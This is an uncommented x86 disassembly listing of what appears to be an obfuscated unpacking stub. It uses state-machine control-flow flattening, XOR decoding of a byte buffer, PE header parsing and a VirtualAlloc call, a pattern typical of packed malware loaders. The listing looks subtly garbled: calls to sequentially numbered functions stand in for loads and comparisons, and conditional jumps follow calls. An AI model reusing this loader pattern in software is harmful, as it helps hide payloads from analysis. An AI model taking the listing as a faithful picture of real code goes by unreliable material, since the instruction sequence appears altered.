mov eax, dword [ebp - 0x2d8]
sub eax, 0x5d230b18
mov dword [ebp - 0x330], eax
je 0x444a11
jmp 0x444960
call fcn.004453d0
sub eax, 0x68d58008
call fcn.004453e0
je 0x4449f9
jmp 0x444960
jmp 0x444a43
mov eax, 0x5d230b18
mov ecx, 0xc8bbdf1
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x30]
cmovb eax, ecx
call fcn.004453f0
jmp 0x444a43
mov eax, 0xa10333dc
mov ecx, 0x536e4875
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x2c]
cmove eax, ecx
call fcn.00445400
jmp 0x444a43
mov dword [ebp - 0x3c], 0x25c189fd
jmp 0x444a43
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0xc1423f61
jmp 0x444a43
mov dword [ebp - 0x3c], 0xd2028e9
jmp 0x444a43
mov dword [ebp - 0x3c], 0xa50ce46a
jmp 0x444a43
call fcn.00445410
jmp 0x444a43
mov dword [ebp - 0x3c], 0x68d58008
jmp 0x444a43
mov eax, dword [ebp - 0x38]
sub eax, 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0x850c778
jmp 0x444a43
call fcn.00445420
mov dword [ebp - 0x3c], 0xd2028e9
jmp 0x444a43
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0x25c189fd
jmp 0x444a43
mov dword [ebp - 0x3c], 0xa50ce46a
jmp 0x4446db
mov eax, 0xa6c501c7
pushfd
mov ecx, 0xedd0eed
add ecx, 0x1715f38f
popfd
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0xa0], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov eax, dword [ebp - 0xd0]
add eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0xbc]
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0xbc]
add eax, 4
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xcc]
add eax, 1
call fcn.00445430
mov dword [ebp - 0xe0], 0x886364dc
jmp 0x445025
mov dword [ebp - 0xe0], 0xf28b7e76
jmp 0x445025
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0xccd772a2
mov eax, dword [ebp - 0x24]
mov ecx, eax
sub ecx, 0x60dd0507
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x33c], ecx
jg 0x444ccd
jmp 0x444b2d
mov eax, dword [ebp - 0x338]
sub eax, 0xe7372bc0
mov dword [ebp - 0x340], eax
jg 0x444cb1
jmp 0x444b49
mov eax, dword [ebp - 0x338]
sub eax, 0xe062b983
mov dword [ebp - 0x344], eax
jg 0x444c96
jmp 0x444b65
mov eax, dword [ebp - 0x338]
sub eax, 0xccd772a1
mov dword [ebp - 0x348], eax
jg 0x444c7a
jmp 0x444b81
mov eax, dword [ebp - 0x338]
sub eax, 0xc4908ade
mov dword [ebp - 0x34c], eax
jg 0x444c5f
jmp 0x444b9d
mov eax, dword [ebp - 0x338]
sub eax, 0xbad179ed
mov dword [ebp - 0x350], eax
jg 0x444c43
jmp 0x444bb9
mov eax, dword [ebp - 0x338]
sub eax, 0xb72e690e
mov dword [ebp - 0x354], eax
jg 0x444c28
jmp 0x444bd5
mov eax, dword [ebp - 0x338]
sub eax, 0x89839d13
mov dword [ebp - 0x358], eax
je 0x444d51
jmp 0x444bf1
mov eax, dword [ebp - 0x338]
sub eax, 0x8cd45aac
call fcn.00445440
je 0x444d45
jmp 0x444c0c
mov eax, dword [ebp - 0x338]
sub eax, 0xb2876de8
mov dword [ebp - 0x360], eax
je 0x444d95
jmp 0x444ce8
call fcn.00445450
sub eax, 0xb72e690f
mov dword [ebp - 0x364], eax
je 0x444d89
jmp 0x444ce8
mov eax, dword [ebp - 0x338]
sub eax, 0xbad179ee
mov dword [ebp - 0x368], eax
je 0x444d6a
jmp 0x444ce8
mov eax, dword [ebp - 0x338]
sub eax, 0xc4908adf
call fcn.00445460
je 0x444da8
jmp 0x444ce8
mov eax, dword [ebp - 0x338]
sub eax, 0xccd772a2
mov dword [ebp - 0x370], eax
je 0x444ced
jmp 0x444ce8
call fcn.00445470
sub eax, 0xe062b984
mov dword [ebp - 0x374], eax
je 0x444d76
jmp 0x444ce8
mov eax, dword [ebp - 0x338]
sub eax, 0xe7372bc1
mov dword [ebp - 0x378], eax
je 0x444d29
jmp 0x444ce8
mov eax, dword [ebp - 0x338]
sub eax, 0x60dd0508
call fcn.00445030
je 0x444d08
jmp 0x444ce8
jmp 0x444da3
mov eax, 0xbad179ee
mov ecx, 0x60dd0508
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x18]
cmovb eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x444da3
mov eax, 0x8cd45aac
mov ecx, 0xe7372bc1
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x14]
cmove eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x444da3
call fcn.00445040
mov ecx, dword [ebp - 0x1c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], 0xc4908adf
jmp 0x444da3
mov dword [ebp - 0x24], 0x89839d13
jmp 0x444da3
call fcn.00445050
add eax, 1
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0xccd772a2
jmp 0x444da3
mov dword [ebp - 0x24], 0xe062b984
jmp 0x444da3
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x24], 0xb72e690f
jmp 0x444da3
mov dword [ebp - 0x24], 0xc4908adf
jmp 0x444da3
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x24], 0xe062b984
jmp 0x444b0b
mov eax, 0xcef34bd3
mov ecx, 0x90ceeadd
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xa8], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xe0], 0x3ce48e9
jmp 0x445025
mov eax, 0xd8ac62f3
mov ecx, 0x2be99dcf
mov edx, dword [ebp - 0xc4]
mov esi, dword [ebp - 0xa8]
cmp edx, dword [esi + 4]
cmovb eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov eax, 0x971cdb08
mov ecx, 0x2565ff6a
mov edx, dword [ebp - 0xbc]
mov esi, dword [ebp - 0xb0]
movzx edx, byte [esi + edx]
mov esi, dword [ebp - 0xc0]
mov edi, esi
add edi, 1
call fcn.00445060
mov edi, dword [ebp - 0x94]
movzx esi, byte [edi + esi + 1]
xor edx, esi
mov bl, dl
mov edx, dword [ebp - 0xbc]
call fcn.00445070
mov byte [esi + edx], bl
mov edx, dword [ebp - 0xc0]
mov esi, dword [ebp - 0x94]
movzx esi, byte [esi]
cmp edx, esi
cmove eax, ecx
mov dword [ebp - 0xe0], eax
jmp 0x445025
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xe0], 0x971cdb08
jmp 0x445025
mov dword [ebp - 0xe0], 0x46d6accb
jmp 0x445025
mov eax, dword [ebp - 0xc4]
add eax, 1
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xbc]
add eax, 1
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xe0], 0x3ce48e9
jmp 0x445025
call fcn.00445080
call fcn.00445090
add ecx, eax
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0xe0], 0x46407233
jmp 0x445025
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xb0]
mov dl, byte [ecx + eax]
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xb4]
mov byte [ecx + eax], dl
mov eax, dword [ebp - 0xbc]
add eax, 1
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xe0], 0x46407233
jmp 0x445025
mov dword [ebp - 0xe0], 0x886364dc
jmp 0x445025
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0xe0], 0x319c9aa8
jmp 0x445025
call fcn.004450a0
add esp, 0x380
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x4f2bc8]
mov ecx, dword [ebp - 0x98]
add eax, dword [ecx]
mov dword [ebp - 0x94], eax
call fcn.0041ff40
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x94]
add eax, 0x2b
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x94]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov ecx, dword [ebp - 0x94]
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov dword [ebp - 0xa4], ecx
mov eax, dword [ebp - 0x94]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx + 0x23]
shl ecx, 1
add eax, ecx
mov ecx, dword [ebp - 0x94]
sub ecx, 0xffffffd5
shl eax, 2
add ecx, eax
mov dword [ebp - 0xac], ecx
mov eax, dword [ebp - 0x88]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], pe_nt_image_headers32
mov dword [ecx + 8], 0x1000
call fcn.004450b0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xe0], 0x315996ba
jmp 0x44330a